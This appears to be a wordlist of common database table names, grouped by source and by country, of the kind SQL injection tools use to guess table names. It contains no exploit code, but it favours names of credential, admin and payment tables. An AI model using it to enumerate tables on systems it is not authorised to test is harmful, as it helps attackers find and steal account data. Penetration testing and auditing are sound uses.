-geo_lake -copytest -tissue -ligneDeFacture -PZ_Data -tf_cookies -archtypes -cmts -photo -dtb_bloc -user_preferences -music_ge -D_Abbreviation -data_set_association -site_location -jforum_posts -Property -pg_ts_dict -badspy -gearing -credenziali -abstract -evidence -files -test -intUsers -div_treatment -tblblogentries -cocktail_person -cdv_curated_allele -REORDER -Religion -turns -MetadataValue -curso -redirect -accountuser -qrtz_cron_triggers -StateType -forum_user_stat -Descriptions_Languages -m_users_profile -Booked_On -not_null_with_default_test -tblblogroles -organizations -topic -economy -DWE_Org_Resources -Model -maxcodcorreo -RATING -Transactions -Chemicals -m_data -USER_GROUP -equipment_type -geo_Island -sysmaps -ezin_roles -phpbb_themes_name -dtb_send_history -dtb_send_customer -cart -size -pg_ts_cfgmap -LimitTest2 -QUESTION -DC_Data -webcal_group_user -telefono -builds -tbluserroles -webcal_site_extras -solde -document -m_users_acct -vendor_types -fruit -DWE_Resources -Service -PART -cell_line -dtb_bat_order_daily_age -images -apartments -THOT_ALPHA -ippaths -area -SYNALLAGI -sysmaps_hosts -tbl_works -statuses -webcal_user -customurl -THOT_YEAR -DWE_Subscriptions -correo -kultura_ge -Factory_Master -inv_lines_seq -certificates -webcal_asst -ostypes -POINT_SET -R2IDF -forum_flag -bugs -taxonomy -UM_ROLES -div_synonym -payer -tf_log -job_title -ask -wp_options -forum_user_activity -trackbacks -wp_pod_fields -cmAvailableServiceBindingSiteNodeTypeDefinition -translation -cdv_passport_group -User_ -Users -access_control -my_county -zoph_people -account_permissions -ORDERLINES -ganatlebe_ge -wp_term_relationships -pictures -product_font -Departure -mushroom_test_results -routerbenchmarks -bkp_Item -Channel_Data -realtable -mushroom_NBC_class -odetails -user_type_link -eco_da_biz_ge -belong -ezin_users -time_zone_transition -ew_tabelle -ezsearch_return_count_new -cmSystemUserRole -m_users -div_accession_collecting -Economy -tbl_works_clients -qrtz_locks -geo_Mountain -dtb_category -tmp -reservation -geo_Desert -dtb_payment -forum_topic -ezsearch_search_phrase_new -jforum_attach -sazog_urtiertoba_ge -Equipment -iuridiuli_ge -MetadataSchemaRegistry -basePlusCommissionEmployees -addresses -phpbb_search_wordlist -user_defined_attribute -fournisseurType -dpt_trans -PostalAddress -defaultinsertid -Politics -pools -cocktail_lokal -dtb_blocposition -templatelinks -jforum_ranks -D_Format_Data -tblblogtextblocks -time_zone_leap_second -rss -Decimation -dtb_user_regist -f_options -siteIndexTable -Administrator -phpbb_users -ezin_authors -SpecificationLink -videos -sf_guard_remember_key -employer -monitoringi_ge -leases -phpbb_smilies -stats -f_spatialcontextgroup -experiencia -dtb_csv -line_items_seq -ndb_binlog_index -zoph_categories -help_topic -div_treatment_uom -transaction -wp_links -DWE_Organizations -live_ge -cdv_allele_curated_allele -timeperiod -item_master_seq -GLI_profiles -cv_countries -qrtz_scheduler_state -journal -tf_users -mwuser -stories -dtb_table_comment -jforum_quota_limit -Lake -SQLDATES -phpbb_search_wordmatch -friend2 -functions -comboboxes -DWE_Max_Id -std_item -foreigntest -jiveVersion -sf_guard_group -Classification -Sensitivity -PREFIX_category_group -preferences -credit -geo_sea -type -knjiga -FindCriteria -zoph_prefs -webcal_entry_repeats -room -domain_info -SALES -DWE_Tasks -profession1 -SUPPORT_INCIDENTS -PERMISSION -Defect -DWE_Task_Attributes -grandchild_test -Desert -KARTA -UM_ROLE_PERMISSIONS -Purchases -PREFIX_configuration -guava_themes -alltypes -webcal_view_user -vrls_xref_country -R1TF -subject -continent -D_Format -dtb_recommend_products -Linkdesc_table -qrtz_fired_triggers -TelephoneNumber -dtb_customer_mail_temp -copyrights -jforum_extension_groups -DEMO_ASSIGNMENTS -guava_group_assignments -jforum_extensions -zutat -ew_user -duptest -alerts -partsvendor -jiveGroup -organization_seq -dtb_customer_reading -configuratore -tbl_event -my_street -osvendors -softwares -Session -admins -TIL_IDIOTON -EthnicGroup -reviews -tblblogentriesrelated -guava_packages -GRouteDetail -cdv_reason -nulltest -membership -bkp_RS_Servers -vrls_listing_images -schema_info -entity -group -ClassificationNode -dtb_best_products -cv_cropping_system -DWE_Workflows -egresadoxidiomaxhabilidad -locus_data -dtb_order_temp -tblblogsubscribers -account_log -facture -MetadataFieldRegistry -BRANCH -orgs -DM -NextID_table -webcal_group -DC -wp_pod_widgets -chromosomes -Name -roster -dtb_csv_sql -synchro_type -langlinks -genres_in_movies -qrtz_triggers -Province -answerOption -wp_postmeta -ERDESIGNER_VERSION_ID -calendar -cmEvent -ruletest -forum_user -SalesReps -ew_gruppi -vrls_xref_state_province -conferences -pay -Plane -webcal_entry_repeats_not -Island -tbl_works_tech -webcal_import -nuke_gallery_comments -monthlabel -tblblogcomments -dtb_delivtime -product_size_multi -manufacturer -Tasks -island -coupon -webcal_report -RegistryPackage -sysmaps_links -procs_priv -invoices_seq -film -genres -field -vertex -FoundThumbs -qrtz_trigger_listeners -reciprocal_links -DWE_Meta_Data -Course -idiomaxegresado -ordreReparation -Assigned_To -ORDERITEMS -PREFIX_product_attribute_image -COLLECT_SITE -THOT_CONCEPT -publisher -dtb_mailmaga_template -DSObject_table -forum_post -sf_guard_permission -Prefixes -dtb_update -BROWSE -tf_rss -TIME -reciprocal_mails -association -typeFacture -StringTable -CATEGORIES -Language -mountain -ad_locales -ExtrinsicObject -R2Size -geo_island -derived_types -snipe_gallery_cat -qrtz_job_details -guava_roleviews -production_wtype -AccountXML1 -wh_man_children -not_null_test -product_colour_multi -ike_configs -intUseringroup -study_user -pg_ts_cfg -connectorswitches -procedure_biosample -theday -fournisseur -typeProduit -BOOKAUTHOR -passwords -keys -AuditableEvent -ExternalIdentifier -source -BOOK_LOANS -UserRole -vrls_xref_listing_offer_type -cmRole -PREFIX_search_engine -my_poi -Channel_Comment -forum_cat -invite -PREFIX_order_return_state -experimental_data_set -DOCUMENT_FIELDS -Scripts -mushroom_dataset -desert -Can_Fly -synchro_element -maxcodtelefono -enrollments -tblblogpages -f_attributedefinition -intGroups -way_nodes -child_test -THOT_TARGET -MOMENT -dtb_classcategory -product_price -relation_members -PREFIX_access -dtb_deliv -webcal_categories -Parts -invoices -QRTZ_JOB_LISTENERS -ANSWER -tbl_categories -yearend -DEPARTMENTS -account_level -ref -help_relation -zoph_users -procedure_data_set -Association -mtb_pref -ANSWER_GROUP -GDirectedRoute -graphs -occasion -account_temp -nuke_gallery_categories -areas -cmContentVersion -checksum_history -mushroom_test_results_agg -accessTable -cameFromTable -services_links -Coefficients -reglement -maxcodexperiencia -vrls_xref_listing_type -adv -lake -tests -Offices -qrtz_simple_triggers -Editor -sazog_urtiertoba_ge2 -wp_pod_pages -Extlangs -seq_gen -rss_subscription -Station_Comment -R1IDF -jforum_config -cmServiceDefinitionAvailableServiceBinding -geo_River -facilities -connectorlinks -file_storage -neuf -school -wp_term_taxonomy -m_plans -ligneDeCommande -FORM_QUESTION -history_str -f_classtype -endpoints -R2Length -zoph_albums -bkp_ItemPresentation -tblblogcategories -div_taxonomy -traffic_selectors -FORM -qrtz_paused_trigger_grps -creditcards -people_reg -country_partner -jforum_users -array_test -dtb_mail_history -priorities -relations -combustiblebois -slow_log -DWE_Resource_Roles -WROTE -flow -pay_melodies -dtb_templates -variable_interest -dtb_class -ZENTRACK_VARFIELD -catalogue -uplebata_dacva_ge -wp_usermeta -time_zone -games -wp_terms -sf_guard_user_group -honorsinfo -maxcodestudio -estudio_academico -RECORD -Room -alarms -ew_temi -clubs -net_pm -tbl_state -cmContentTypeDefinition -radacct -peer_config_child_config -cmAvailableServiceBinding -cmSiteNodeVersion -Poles_Zeros -ipmacassocs -m_news -dtb_news -shared_secrets -UsageDescription -rol -phpbb_posts -ipassocs -cmSystemUser -phpbb_categories -FoundLists -jforum_smilies -channelitems -lokal -subcategory -Languages -jiveSASLAuthorized -DWE_WF_Attributes -cocktail -cust_order -mushroom_testset -THOT_SOURCE -product_font_multi -presence -UM_USERS -jiveUser -cmSiteNodeTypeDefinition -wp_comments -dtb_bat_order_daily_hour -jos_vm_category -CONTACT -SpecialityTable -librarian -geo_river -MonitorStatus -pagelinks -ways -DWE_Roles -jforum_vote_desc -cities -PREFIX_order_return_state_lang -subscriber -prereq -Slot -rss_item -UM_USER_ROLES -PREFIX_timezone -evento -guava_views -cmServiceDefinition -Variants -searchindex -actions -cdv_passport_set -production_multiple -page_log_exclusion -furniture -nuke_gallery_pictures -cmRepositoryLanguage -oc -os -PREFIX_tab_lang -lc_fields -framework_email -datasets -sporti_ge -externallinks -geo_desert -politics -hourlyEmployees -D_Comment -EMPLOYEES -individual -m_with -program -combustible -ezin_articles -pma_tracking -help_keyword -POSITION -stars_in_movies -glas -cmRepository -dtb_mailtemplate -DIM_TYPE -cart_table -D_Unit -array_probe -macassocs -changeTva -UM_PERMISSIONS -geo_Source -R1Sum -cdv_marker -nuke_gallery_template_types -UM_USER_ATTRIBUTES -Aircraft -store -Descriptions_Variants -trigger_depends -guava_role_assignments -ExternalLink -bkp_RS_Clusters -PN_Data -users_sessions -webcal_nonuser_cals -parent_test -cmServiceBinding -BUYER -transcache -dtb_question_result -rss_category -profiling -QRTZ_TRIGGER_LISTENERS -THOT_LANGUAGE -cmContent -Descriptions_Scripts -DSProp_table -webcal_report_template -service_request -resource_types -THOT_SUB_MENU -bkp_ResourceFolder -PREFIX_tab -province -dtb_bat_relate_products -changePrix -proc -ewst_sessioni -nuke_gallery_media_types -outdoor_spaces -po_seq -salariedEmployees -grp -jforum_topics -defertest -array_data -most_recent_checksum -m_earnings -product_related -dtb_baseinfo -webcal_import_data -federationApplicants -qrtz_calendars -melodies -jforum_forums -sf_guard_group_permission -sys_acl_matrix -R2ODTMAP -mushroom_NBC -country_diseases -dtb_order_detail -sic -PROJECT -log_fake_referers -ROLE_PERM -isDeleted_table -vrls_listings -Table -sf_guard_user -Subject -cdv_curation -dictionary -forum_report -institution -cmQualifyer -jforum_categories -site_climatic -phpbb_points_values -zoph_color_schemes -DWE_Internal_Task_Attributes -uniquetest -TypeRule -dtb_customer -R2Sum -PREFIX_customer_group -ProjectsTable -dtb_products -words -dtb_question -UM_USER_PERMISSIONS -exam -commande -viktorina_ge -dtb_products_class -subscribe -page_restrictions -querycache_info -cdv_map_feature -oidtest -Link_table -guava_users -connectormacassocs -moduleexecs -guava_groups -Institution -sconfig -shared_secret_identity -platforms -BORROWER -phpbb_acl_options -markers -Population -shipping -guava_preferences -rating -UserCapability -Priority -rec_jobs -ezin_sections -Descriptions_Regions -SPACE -geo_Sea -DATA_ORG -Contributor - -# Various Joomla tables -jos_vm_product_download -jos_vm_coupons -jos_vm_product_reviews -jos_core_acl_aro -jos_vm_shopper_vendor_xref -jos_stats_agents -jos_vm_orders -jos_poll_menu -jos_content_rating -jos_vm_vendor -jos_vm_product_mf_xref -jos_vm_export -jos_polls -jos_content_frontpage -jos_vm_userfield_values -jos_categories -jos_poll_data -jos_vm_manufacturer -jos_vm_order_user_info -jos_core_acl_groups_aro_map -jos_messages -jos_vm_zone_shipping -jos_bannertrack -jos_vm_order_status -jos_modules_menu -jos_vm_product_type -jos_vm_product_type_parameter -jos_vm_tax_rate -jos_core_log_items -jos_modules -jos_users -jos_vm_product_category_xref -jos_vm_product_attribute -jos_poll_date -jos_vm_vendor_category -jos_vm_state -jos_vm_country -jos_weblinks -jos_vm_cart -jos_vm_shipping_label -jos_vm_manufacturer_category -jos_vm_shopper_group -jos_vm_product_votes -jos_vm_currency -jos_vm_creditcard -jos_menu -jos_groups -jos_messages_cfg -jos_vm_order_payment -jos_content -jos_bannerclient -jos_vm_product_discount -jos_core_log_searches -jos_vm_auth_user_group -jos_contact_details -jos_vm_auth_group -jos_vm_waiting_list -jos_vm_category_xref -jos_newsfeeds -jos_vm_auth_user_vendor -jos_vm_user_info -jos_vm_function -jos_vm_product_files -jos_vm_userfield -jos_vm_shipping_carrier -jos_core_acl_aro_map -jos_vm_shipping_rate -jos_vm_product -jos_vm_product_product_type_xref -jos_core_acl_aro_groups -jos_templates_menu -jos_menu_types -jos_plugins -jos_session -jos_vm_order_item -jos_vm_module -jos_vm_product_attribute_sku -jos_vm_product_price -jos_vm_csv -jos_migration_backlinks -jos_vm_product_relations -jos_core_acl_aro_sections -jos_vm_order_history -jos_banner -php_users -ALL_USERS -banned_users -users_tmp -users_club -publicusers -cmsusers - -# List provided by Anastasios Monachos (anastasiosm@gmail.com) -blacklist -cost -moves -pelates -tamio -tameio -xristes -zones -tamio_pelates -kwdikos -addressbookgrp -sendmsgs -publicationauthor -publicationfile -topicpublication -userrights -comp_group -computers_ID -event_log -networking -routing -software_licenses -ips -arxeia -SMS_TABLE -TABLE_PRIVILEGE_MAP -AMUSER -CONTACTTYPE -CONTENT -DOWNLOADGROUP -DOWNLOADS -DOWNLOADTYPE -EMAIL -ENQUIRY -FACTSHEET -FUND -FUNDGROUP -HISTORY -MANAGEMENTGROUP -SUBSCRIBE -TBLUSERS -TBLLIST -TBLLOG -TBLPROFILES -TBLREPORTS -TBLTRANSACTIONS -TBLRETAILUSERS -TBLCORPUSERS -TBLCORPORATEUSERS - -# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) -tbladmins -sort -_wfspro_admin -4images_users -a_admin -adm -admin_login -admin_user -admin_userinfo -administer -administrable -administrate -administration -administrator -administrators -adminrights -adminuser -art -article_admin -articles -artikel -aut -autore -backend -backend_users -backenduser -bbs -chat_config -chat_messages -chat_users -clubconfig -content -cpg_config -cpg132_users -customers_basket -dbadmins -dealer -dealers -diary -download -Dragon_users -e107_user -fusion_user_groups -fusion_users -ibf_admin_sessions -ibf_conf_settings -ibf_members -ibf_members_converge -ibf_sessions -icq -index -info -ipb_sessions -joomla_users -jos_blastchatc_users -jos_comprofiler_members -jos_joomblog_users -jos_moschat_users -knews_lostpass -korisnici -kpro_adminlogs -kpro_user -login_admin -login_admins -login_user -login_users -logins -logon -logs -lost_pass -lost_passwords -lostpass -lostpasswords -m_admin -main -mambo_session -mambo_users -manage -manager -mb_users -member -memberlist -minibbtable_users -mitglieder -movie -mybb_users -mysql -name -names -news_lostpass -newsletter -nuke_authors -nuke_bbconfig -nuke_config -nuke_popsettings -nuke_users -obb_profiles -parol -partners -passes -password -perdorues -perdoruesit -phorum_session -phorum_user -phorum_users -phpads_clients -phpads_config -forum_users -poll_user -punbb_users -pwd -pwds -reg_user -reg_users -registered -reguser -regusers -cards -site_login -site_logins -sitelogin -sitelogins -sites -smallnuke_members -smf_members -SS_orders -statistics -superuser -sysadmin -sysadmins -sysuser -sysusers -table -tables -tb_admin -tb_administrator -tb_login -tb_member -tb_members -tb_user -tb_username -tb_usernames -tb_users -tbl -tbl_user -tbl_users -tbluser -tbl_client -tblclients -tblclient -usebb_members -user_admin -user_info -user_list -user_login -user_logins -user_names -usercontrol -userinfo -userlogins -username -usernames -vb_user -vbulletin_session -vbulletin_user -voodoo_members -webadmin -webadmins -webmaster -webmasters -webuser -webusers -x_admin -xar_roles -xoops_bannerclient -xoops_users -yabb_settings -yabbse_settings -ACT_INFO -ActiveDataFeed -CategoryGroup -ChicksPass -ClickTrack -CountryCodes1 -CustomNav -DataFeedPerformance1 -DataFeedPerformance2 -DataFeedPerformance2_incoming -DataFeedShowtag1 -DataFeedShowtag2 -DataFeedShowtag2_incoming -dtproperties -Event -Event_backup -Event_Category -EventRedirect -Events_new -Genre -JamPass -MyTicketek -MyTicketekArchive -News -Passwords by usage count -PerfPassword -PerfPasswordAllSelected -Promotion -ProxyDataFeedPerformance -ProxyDataFeedShowtag -ProxyPriceInfo -Region -SearchOptions -Series -Sheldonshows -StateList -States -SubCategory -Subjects -Survey -SurveyAnswer -SurveyAnswerOpen -SurveyQuestion -SurveyRespondent -sysconstraints -syssegments -tblRestrictedPasswords -tblRestrictedShows -Ticket System Acc Numbers -TimeDiff -Titles -ToPacmail1 -ToPacmail2 -Total Members -UserPreferences -uvw_Category -uvw_Pref -uvw_Preferences -Venue -venues -VenuesNew -X_3945 -stone list -tblArtistCategory -tblArtists -tblConfigs -tblLayouts -tblLogBookAuthor -tblLogBookEntry -tblLogBookImages -tblLogBookImport -tblLogBookUser -tblMails -tblNewCategory -tblNews -tblOrders -tblStoneCategory -tblStones -tblUser -tblWishList -VIEW1 -viewLogBookEntry -viewStoneArtist -vwListAllAvailable -CC_info -CC_username -cms_user -cms_users -cms_admin -cms_admins -user_name -jos_user -table_user -mail -bulletin -cc_info -login_name -admuserinfo -userlistuser_list -SiteLogin -Site_Login -UserAdmin -Admins -Login -Logins - -# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html -account -accnts -accnt -user_id -members -usrs -usr2 -accounts -admin -admins -adminlogin -auth -authenticate -authentication -account -access -customers -customer -config -conf -cfg -hash -login -logout -loginout -log -member -memberid -password -pass_hash -pass -passwd -passw -pword -pwrd -pwd -store -store1 -store2 -store3 -store4 -setting -username -name -user -user_name -user_username -uname -user_uname -usern -user_usern -un -user_un -usrnm -user_usrnm -usr -usernm -user_usernm -user_nm -user_password -userpass -user_pass -user_pword -user_passw -user_pwrd -user_pwd -user_passwd - -# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) -wsop -Admin -Config -Settings -tbl_admin -tbl_admins -tbl_member -tbl_members -tblservers -id -uid -userid -user_id -auid -adminpass -LoginID -FirstName -LastName -cms_member -cms_members -Webmaster -Webuser -tbl_tbadmin -Adminlogin -useraccount -nguoidung -quanly -quantri -dangnhap -taikhoan -taikhoanquantri -useraccounts -nguoidungs -tbuser -tblogin -tbadmin -tbaccount -tbuseraccount -tbnguoidung -tbllogin -tbladmin -tblaccount -tbluseraccount -tblnguoidung -tbusers -tblogins -tbadmins -tbaccounts -tbuseraccounts -tbnguoidungs -tbllogins -tblaccounts -tbluseraccounts -tblnguoidungs -tb_account -tb_useraccount -tb_nguoidung -tbl_login -tbl_account -tbl_useraccount -tbl_nguoidung -tb_logins -tb_accounts -tb_useraccounts -tb_nguoidungs -tbl_logins -tbl_accounts -tbl_useraccounts -tbl_nguoidungs -tb_admins -adminid -admin_id -adminuserid -admin_userid -AdminUID -adminusername -admin_username -adminname -admin_name -usr -usr_n -usrname -usr_name -usrnam -useradmin -apwd -adminpaw -adminpwd -admin_pwd -admin_pass -adminpassword -admin_password -usrpass -usr_pass -pass -userpass -user_pass -dbaccount -dbstudent -dbstudents -dbadmin -useres -dbuser -dbusers -personal -dbpersoon -list -lists -dblist -userpassword -user_password -userpwd -user_pwd -SecurityLevel -LastLoginDate -LoginIP -pword -ad -Konto -Konten -admin_psw -verwalten -verwaltet -administrieren -Verwaltung -Administratoren -adminpsw -adminupass -Kunst -Artikel -Autor -Buch -chat -Kunden -tblnews -banner -options -general -upload -uploads -file -akhbar -sb_host_admin -Firma -contenu -Kontakt -Kontakte -Inhalt -Kontrolle -controle -Kunde -Tagebuch -herunterladen -dw -glmm -gly -us -stnuser -stuser -stusers -stuseres -dbstaff -db_staff -staff_db -database -databases -test_user -user_test -test_users -users_test -Gruppe -Gruppen -guanli -guanliyuan -h_admin -Bilder -Mitgliederbereich -key -keywords -Anmeldung -Protokolle -Mitglied -Mitgliederliste -Mitglieder -mima -mm -mpassword -musername -Film -Filme -nc -new -Namen -Auftrag -Bestellungen -Passwort -power -psw -pswd -pw -pwd1 -jhu -webapps -ASP -Microsoft -sing -singup -singin -registeration -reg -registriert -root -roots -Tagung -Sitzungen -Einstellungen -Standorte -Statistiken -sys -Systemadministratoren -systime -Tisch -Tabellen -Titel -u -u_n -u_name -u_p -u_pass -Benutzer -user_pw -Benutzerliste -userpasswd -usr_pw -usrs -Benutzername -Benutzernamen -vip -Webbenutzer -sb_host_adminActiveDataFeed -Kategorie -Land -Suchoptionen -Serie -Staaten -UnterkKlasse -Umfrage -TotalMembers -Veranstaltungsort -Veranstaltungsorte -Ansicht1 -utilisateur -trier -compte -comptes -administrer -administrables -administrateur -administrateurs -auteur -livre -entreprise -concessionnaire -concessionnaires -telecharger -groupe -groupes -liens -connexion -principal -gestionnaire -membre -membres -films -nom -noms -ordre -commandes -partenaire -partenaires -passe -asse -enregistrs -paramtres -statistiques -super -tester -utilisateurs -intranet_users -utlisateur -Catogorie -Pays -Sujets -Sondage -Titres -Lieux -Affichage1Affichage1edu -win -pc -windows -mac -edu -bayviewpath -bayview -server -slserver -ColdFusion8 -ColdFusion -Cold -Fusion8 -Fusion -ststaff -sb_host_adminAffichage1 -Affichage1 -yhm -yhmm -Affichage1name -sb_host_adminAffichage1name - -# site:jp -TypesTab - -# site:it -utenti -categorie -attivita -comuni -discipline -Clienti -gws_news -SGA_XPLAN_TPL_V$SQL_PLAN -emu_services -nlconfig -oil_bfsurvey_pro -oil_users -oil_menu_types -oil_polls -Accounts -oil_core_log_searches -SGA_XPLAN_TPL_V$SQL_PLAN_SALL -oil_phocadownload_categories -gws_page -oil_bfsurveypro_choices -oil_poll_data -oil_poll_date -argomento -oil_modules -ruolo -oil_contact_details -emu_profiles -user_connection -oil_poll_menu -jos_jf_tableinfo -oil_templates_menu -oil_messages_cfg -oil_biolmed_entity_types -oil_phocagallery_votes -oil_core_acl_aro -regioni -oil_modules_menu -dati -gws_admin -oil_phocagallery_user_category -articoli -oil_content_frontpage -cron_send -oil_biolmed_measures -comune -SGA_XPLAN_TPL_DBA_TABLES -esame -oil_session -oil_phocadownload_licenses -oil_weblinks -oil_messages -oil_phocagallery_votes_statistics -dcerpcbinds -oil_jf_content -SGA_XPLAN_TPL_DBA_CONS_COLUMNS -SGA_XPLAN_TPL_DBA_IND_COLUMNS -gruppi -Articoli -gws_banner -gws_category -soraldo_ele_tipo -db_version -SGA_XPLAN_TPL_DBA_TAB_COLS -oil_biolmed_thesis -jos_languages -mlmail -SGA_XPLAN_TPL_V$SQLTEXT_NL -oil_bannertrack -oil_core_log_items -oil_rokversions -oil_bfsurveypro_34 -oil_bfsurveypro_35 -oil_google_destinations -gws_product -oil_jf_tableinfo -oil_phocadownload -oil_biolmed_blocks -oil_bfsurvey_pro_example -oil_bfsurvey_pro_categories -oil_bannerclient -oil_core_acl_aro_sections -SGA_XPLAN_TPL_V$SQL -oil_biolmed_land -connections -not_sent_mails -sga_xplan_test -oil_languages -utente -documento -gws_purchase -oil_plugins -oil_phocagallery -oil_menu -oil_biolmed_measures_by_entity_types -offers -anagrafica -gws_text -oil_groups -oil_content_rating -sent_mails -oil_banner -oil_google -gws_jobs -eventi -mlattach -oil_migration_backlinks -oil_phocagallery_categories -downloads -mlgroup -oil_sections -decodifica_tabelle -oil_phocagallery_img_votes -oil_phocagallery_img_votes_statistics -oil_dbcache -oil_content -p0fs -oil_biolmed_entity -oil_rokdownloads -oil_core_acl_groups_aro_map -gws_client -decodifica_campi -oil_phocagallery_comments -oil_categories -oil_newsfeeds -oil_biolmed_measurements -oil_phocadownload_user_stat -oil_core_acl_aro_groups -SGA_XPLAN_TPL_V$SQL_PLAN_STAT -oil_core_acl_aro_map -dcerpcrequests -oil_phocadownload_sections -oil_components -discipline_utenti -jos_jf_content -oil_phocadownload_settings -SGA_XPLAN_TPL_DBA_CONSTRAINTS -oil_biolmed_technician -oil_stats_agents -SGA_XPLAN_TPL_DBA_INDEXES - -# site:fr -Avion -departement -Compagnie -produits -spip_auteurs -BDDJoueurs_alliance -spip_articles -spip_syndic -pays -spip_auteurs_rubriques -spip_mots_forum -spip_signatures -diplomatie -spip_mots_breves -spip_forum -spip_auteurs_messages -spip_documents -spip_messages -spip_index_dico -spip_meta -spip_petitions -spip_mots_syndic -spip_types_documents -etudiant -spip_groupes_mots -spip_documents_articles -spip_rubriques -spip_breves -agenda -BDDJoueurs_colonies -spip_mots_articles -spip_mots -spip_syndic_articles -spip_auteurs_articles -spip_mots_rubriques -BDDJoueurs -modulephoto -nuke_cities -forums -nuke_banner_positions -nuke_subscriptions -nuke_downloads_categories -nuke_journal_comments -nuke_bbranks -spip_documents_rubriques -nuke_confirm -service -nuke_bbthemes_name -nuke_autonews -nuke_bbdisallow -nuke_reviews_add -EDITEUR -nuke_links_newlink -nuke_faqcategories -etudiants -nuke_stats_year -nuke_bbsmilies -spip_mots_documents -spip_documents_breves -nuke_bbsearch_results -post -nuke_users_temp -nuke_blocks -nuke_reviews_main -themes -nuke_modules -nuke_banner_plans -nuke_links_votedata -spip_referers -inscription -BONUS -nuke_links_editorials -nuke_topics -nuke_bbprivmsgs_text -chatbox -nuke_referer -nuke_bbauth_access -nuke_journal_stats -nuke_faqanswer -nuke_banner_terms -message -nuke_bbvote_voters -nuke_pages_categories -spip_index -modulerubriquephoto -spip_visites -Role -nuke_public_messages -actualites -nuke_reviews_comments -nuke_downloads_votedata -nuke_headlines -nuke_downloads_editorials -enseignant -modulemessage -nuke_session -nuke_queue -nuke_main -nuke_bbposts -spip_ortho_cache -Enseignant -nuke_downloads_newdownload -sons -plurielanim -nuke_bbforums -nuke_bbsearch_wordmatch -nuke_bbvote_results -nuke_stats_date -nuke_bbwords -nuke_bbcategories -typecompte -nuke_stories -nuke_stats_month -personne -etablissement -nuke_counter -indexation -nuke_poll_desc -nuke_links_links -nuke_bbtopics -Utilisateurs -nuke_related -nuke_downloads_downloads -spip_versions_fragments -nuke_bbgroups -nuke_bbtopics_watch -nuke_bbuser_group -nuke_downloads_modrequest -spip_versions -Joueur -nuke_bbsessions -nuke_links_categories -directeur -Etudiant -nuke_bbposts_text -nuked_page -Personne -nuke_bbbanlist -Parametre -nuke_pollcomments -nuke_bbforum_prune -nuke_pages -nuke_links_modrequest -nuke_stats_hour -nuke_groups_points -nuke_reviews -nuke_bbthemes -modulemailling -agence -nuke_encyclopedia -nuke_bbsearch_wordlist -nuke_message -Equipe -nuke_comments -nuke_poll_check -nuke_journal -nuke_stories_cat -nuke_banner -nuke_groups -spip_visites_articles -nuke_encyclopedia_text -spip_referers_articles -nuke_bbvote_desc -Artiste -nuke_poll_data -nuke_bbprivmsgs -spip_ortho_dico -spip_caches - -# site:ru -guestbook -binn_forum_settings -binn_forms_templ -binn_catprops -currency -binn_imagelib -binn_news -phpshop_opros_categories -binn_articles_messages -binn_cache -binn_bann_temps -binn_forum_threads -voting -binn_update -terms -binn_site_users_rights -binn_vote_options -binn_texts -binn_forum_temps -binn_order_temps -binn_basket -binn_order -binn_system_log -binn_vote_results -binn_articles -phpshop_categories -binn_maillist_temps -binn_system_messages -binn_articles_temps -binn_search_temps -banners -binn_imagelib_templ -binn_faq -binn_bann -phpshop_news -binn_menu_templ -binn_maillist_settings -binn_docs_temps -binn_bann_restricted -phpshop_system -binn_calendar_temps -binn_forum_posts -binn_cform_settings -phpshop_baners -phpshop_menu -binn_forms_fields -binn_cform_list -binn_vote -phpshop_links -mapdata -binn_submit_timeout -binn_forum_themes_temps -binn_order_elems -binn_templates -binn_cform -binn_catalog_template -binn_ct_templ_elems -binn_template_elems -binn_rubrikator_tlevel -binn_settings -binn_pages -binn_users -binn_categs -binn_page_elems -binn_site_users_temps -binn_vote_temps -binn_rubrikator_temps -binn_faq_temps -binn_sprav -setup_ -binn_basket_templ -binn_forum_maillist -binn_news_temps -phpshop_users -binn_catlinks -binn_sprav_temps -binn_maillist_sent -binn_forms_templ_elems -jubjub_errors -binn_maillist -binn_catrights -binn_docs -binn_bann_pages -binn_ct_templ -binn_menu -binn_user_rights -binn_cform_textarea -binn_catalog_fields -vykachka -binn_menu_tlevel -phpshop_opros -binn_form39 -binn_site_users -binn_path_temps -order_item - -# site:de -tt_content -kunde -medien -Mitarbeiter -fe_users -dwp_wetter -dwp_popup -voraussetzen -dwp_foto_pictures -dwp_karte_speisen -dwp_news_kat -dwp_structur -dwp_foto_album -dwp_karte_kat -bestellung -dwp_content -be_users -Vorlesungen -dwp_content_pic -dwp_link_entries -dwp_ecard_album -persons -dwp_buchung_hotel -dwp_link_kat -dwp_news_absatz -Assistenten -Professoren -Studenten -dwp_ecard_pictures -lieferant -dwp_bewertung -mitarbeiter -gruppe -dwp_news_head -wp_post2cat -phpbb_forum_prune -crops -mein_doc -artikel_kategorie -kategorien -rel_person_paper -tx_tcdirectmail_bounceaccount -Akten -skins -riddles -ci_slogans -phpbb_vote_voters -account_map_event -roles -stellen -meetings -special_category -rel_paper_topic -kbase_category -attribut -phpbb_auth_access -zo_gruppe_stelle -zo_kontakt_stelle -hoeren -shop_settings -tutorial -motd_coding -artikel_variationsgruppen -dwp_kontakt -papers -gesuche -zahlung_weitere -ts2_server_privileges -artikel_variationen -artikel_optionen -chessgames -portale -products_images -phpbb_privmsgs_text -kurs -KUNDE -wp_linkcategories -tx_tcdirectmail_targets -tx_templavoila_datastructure -Adresse -bestellung_kunde -rel_person_topic -css_file -visual -account_multi -Adressen -phpbb_words -phpbb_disallow -kauf_artikel -music_association -phpbb_banlist -dokumente -greylist -backup -map_event -kreditkarte -house_extensions -address_book -crops_tpl -phpbb_vote_desc -versandkostenpreise -pruefen -gruppen -vertreter -phpbb_confirm -verkaeufer -be_groups -rel_person_organization -phpbb_privmsgs -buecher -kategorie -phpbb_sessions -phpbb_search_results -studierende -user_online_newyear -hersteller -object_link -adresse -address_format -newsletter_recipients -PERMISSIONS -user_uploads_pictures -festplatte -veranstalter -mein_doc_h -tx_tcdirectmail_clicklinks -phpbb_vote_results -phpbb_topics_watch -tx_tcdirectmail_lock -account_map -standort -gd -delete_reasons -tx_tcdirectmail_sentlog -valhalla -vis_typen -counter -kbase_main -music_items -kauf -payment_qenta -seite_abschnitt -trivia -mehrwertsteuer -massenmail -klassen -hilfe -geraet -tt_address -dg_books -portal_access -orders_recalculate -artikel_bestellung -kontakt -chesshistory -notizen -seite_layout -virgator_table -wp_categories -chessmessages - -# site:br -endereco -pessoa -usuarios -estado -pedidos -CLIENTE -itens -telefone -empresa -PRODUTO -categoria -cidades -clientes -produtos -municipio -cliente 